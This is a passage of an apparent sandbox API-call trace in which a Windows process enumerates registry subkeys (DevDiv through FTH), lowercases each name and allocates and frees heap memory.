[0250.961] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bc40) returned 1 [0250.961] RegEnumKeyW (in: hKey=0x38, dwIndex=0xf, lpName=0x119b9b8, cchName=0x104 | out: lpName="DevDiv") returned 0x0 [0250.961] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bc40 [0250.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0250.961] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c160 [0250.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0x119c160, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="devdiv", lpUsedDefaultChar=0x0) returned 6 [0250.961] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1a8 [0250.961] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c160) returned 1 [0250.961] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1a8) returned 1 [0250.961] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bc40) returned 1 [0250.961] RegEnumKeyW (in: hKey=0x38, dwIndex=0x10, lpName=0x119b9b8, cchName=0x104 | out: lpName="Dfrg") returned 0x0 [0250.961] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bc40 [0250.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0250.961] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1a8 [0250.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0x119c1a8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfrg", lpUsedDefaultChar=0x0) returned 4 [0250.961] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c160 [0250.961] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1a8) returned 1 [0250.962] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c160) returned 1 [0250.962] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bc40) returned 1 [0250.962] RegEnumKeyW (in: hKey=0x38, dwIndex=0x11, lpName=0x119b9b8, cchName=0x104 | out: lpName="DFS") returned 0x0 [0250.962] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bc40 [0250.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0250.962] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c160 [0250.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0x119c160, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfs", lpUsedDefaultChar=0x0) returned 3 [0250.962] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1a8 [0250.962] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c160) returned 1 [0250.962] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1a8) returned 1 [0250.962] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bc40) returned 1 [0250.962] RegEnumKeyW (in: hKey=0x38, dwIndex=0x12, lpName=0x119b9b8, cchName=0x104 | out: lpName="DirectDraw") returned 0x0 [0250.962] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bc40 [0250.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0250.962] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1a8 [0250.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0x119c1a8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directdraw", lpUsedDefaultChar=0x0) returned 10 [0250.962] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c160 [0250.962] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1a8) returned 1 [0250.962] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c160) returned 1 [0250.962] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bc40) returned 1 [0250.962] RegEnumKeyW (in: hKey=0x38, dwIndex=0x13, lpName=0x119b9b8, cchName=0x104 | out: lpName="DirectInput") returned 0x0 [0250.962] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bc40 [0250.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0250.962] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c160 [0250.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0x119c160, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directinput", lpUsedDefaultChar=0x0) returned 11 [0250.962] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1a8 [0250.962] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c160) returned 1 [0250.962] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1a8) returned 1 [0250.962] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bc40) returned 1 [0250.962] RegEnumKeyW (in: hKey=0x38, dwIndex=0x14, lpName=0x119b9b8, cchName=0x104 | out: lpName="DirectMusic") returned 0x0 [0250.962] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bc40 [0250.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0250.962] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1a8 [0250.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0x119c1a8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directmusic", lpUsedDefaultChar=0x0) returned 11 [0250.963] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c160 [0250.963] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1a8) returned 1 [0250.963] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c160) returned 1 [0250.963] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bc40) returned 1 [0250.963] RegEnumKeyW (in: hKey=0x38, dwIndex=0x15, lpName=0x119b9b8, cchName=0x104 | out: lpName="DirectPlay8") returned 0x0 [0250.963] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bc40 [0250.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0250.963] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c160 [0250.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0x119c160, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplay8", lpUsedDefaultChar=0x0) returned 11 [0250.963] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1a8 [0250.963] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c160) returned 1 [0250.963] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1a8) returned 1 [0250.963] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bc40) returned 1 [0250.963] RegEnumKeyW (in: hKey=0x38, dwIndex=0x16, lpName=0x119b9b8, cchName=0x104 | out: lpName="DirectPlayNATHelp") returned 0x0 [0250.963] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bc40 [0250.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0250.963] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1a8 [0250.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0x119c1a8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplaynathelp", lpUsedDefaultChar=0x0) returned 17 [0250.963] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c160 [0250.963] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1a8) returned 1 [0250.963] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c160) returned 1 [0250.963] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bc40) returned 1 [0250.963] RegEnumKeyW (in: hKey=0x38, dwIndex=0x17, lpName=0x119b9b8, cchName=0x104 | out: lpName="DirectShow") returned 0x0 [0250.963] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bc40 [0250.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0250.963] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c160 [0250.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0x119c160, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directshow", lpUsedDefaultChar=0x0) returned 10 [0250.963] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1a8 [0250.963] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c160) returned 1 [0250.963] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1a8) returned 1 [0250.963] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bc40) returned 1 [0250.963] RegEnumKeyW (in: hKey=0x38, dwIndex=0x18, lpName=0x119b9b8, cchName=0x104 | out: lpName="DirectX") returned 0x0 [0250.963] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bc40 [0250.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.963] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1a8 [0250.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0x119c1a8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directx", lpUsedDefaultChar=0x0) returned 7 [0250.964] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c160 [0250.964] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1a8) returned 1 [0250.964] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c160) returned 1 [0250.964] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bc40) returned 1 [0250.964] RegEnumKeyW (in: hKey=0x38, dwIndex=0x19, lpName=0x119b9b8, cchName=0x104 | out: lpName="Driver Signing") returned 0x0 [0250.964] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bc40 [0250.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0250.964] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c160 [0250.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0x119c160, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="driver signing", lpUsedDefaultChar=0x0) returned 14 [0250.964] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1a8 [0250.964] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c160) returned 1 [0250.964] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1a8) returned 1 [0250.964] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bc40) returned 1 [0250.964] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1a, lpName=0x119b9b8, cchName=0x104 | out: lpName="DRM") returned 0x0 [0250.964] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bc40 [0250.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0250.964] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1a8 [0250.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0x119c1a8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drm", lpUsedDefaultChar=0x0) returned 3 [0250.964] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c160 [0250.964] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1a8) returned 1 [0250.964] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c160) returned 1 [0250.964] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bc40) returned 1 [0250.964] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1b, lpName=0x119b9b8, cchName=0x104 | out: lpName="DVR") returned 0x0 [0250.964] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bc40 [0250.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0250.964] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c160 [0250.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0x119c160, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dvr", lpUsedDefaultChar=0x0) returned 3 [0250.964] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1a8 [0250.964] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c160) returned 1 [0250.964] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1a8) returned 1 [0250.964] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bc40) returned 1 [0250.964] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1c, lpName=0x119b9b8, cchName=0x104 | out: lpName="DXP") returned 0x0 [0250.964] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bc40 [0250.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0250.964] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1a8 [0250.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0x119c1a8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dxp", lpUsedDefaultChar=0x0) returned 3 [0250.964] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c160 [0250.965] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1a8) returned 1 [0250.965] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c160) returned 1 [0250.965] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bc40) returned 1 [0250.965] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1d, lpName=0x119b9b8, cchName=0x104 | out: lpName="EnterpriseCertificates") returned 0x0 [0250.965] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bc40 [0250.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0250.965] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c160 [0250.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0x119c160, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enterprisecertificates", lpUsedDefaultChar=0x0) returned 22 [0250.965] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1a8 [0250.965] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c160) returned 1 [0250.965] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1a8) returned 1 [0250.965] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bc40) returned 1 [0250.965] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1e, lpName=0x119b9b8, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0250.965] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bc40 [0250.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0250.965] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1a8 [0250.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x119c1a8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0250.965] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c160 [0250.965] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1a8) returned 1 [0250.965] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c160) returned 1 [0250.965] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bc40) returned 1 [0250.965] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1f, lpName=0x119b9b8, cchName=0x104 | out: lpName="Exchange") returned 0x0 [0250.965] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bc40 [0250.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.965] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c160 [0250.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x119c160, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exchange", lpUsedDefaultChar=0x0) returned 8 [0250.965] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1a8 [0250.965] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c160) returned 1 [0250.965] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1a8) returned 1 [0250.965] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bc40) returned 1 [0250.965] RegEnumKeyW (in: hKey=0x38, dwIndex=0x20, lpName=0x119b9b8, cchName=0x104 | out: lpName="Fax") returned 0x0 [0250.965] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bc40 [0250.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0250.965] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1a8 [0250.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x119c1a8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0250.965] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c160 [0250.966] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1a8) returned 1 [0250.966] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c160) returned 1 [0250.966] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bc40) returned 1 [0250.966] RegEnumKeyW (in: hKey=0x38, dwIndex=0x21, lpName=0x119b9b8, cchName=0x104 | out: lpName="Feeds") returned 0x0 [0250.966] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bc40 [0250.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0250.966] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c160 [0250.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x119c160, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="feeds", lpUsedDefaultChar=0x0) returned 5 [0250.966] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1a8 [0250.966] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c160) returned 1 [0250.966] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1a8) returned 1 [0250.966] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bc40) returned 1 [0250.966] RegEnumKeyW (in: hKey=0x38, dwIndex=0x22, lpName=0x119b9b8, cchName=0x104 | out: lpName="FlashConfig") returned 0x0 [0250.966] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bc40 [0250.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0250.966] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1a8 [0250.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0x119c1a8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flashconfig", lpUsedDefaultChar=0x0) returned 11 [0250.966] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c160 [0250.966] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1a8) returned 1 [0250.966] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c160) returned 1 [0250.966] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bc40) returned 1 [0250.966] RegEnumKeyW (in: hKey=0x38, dwIndex=0x23, lpName=0x119b9b8, cchName=0x104 | out: lpName="FTH") returned 0x0 [0250.966] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bc40 [0250.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0250.966] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c160 [0250.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0x119c160, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fth", lpUsedDefaultChar=0x0) returned 3 [0250.966] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1a8 [0250.966] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c160) returned 1 [0250.966] 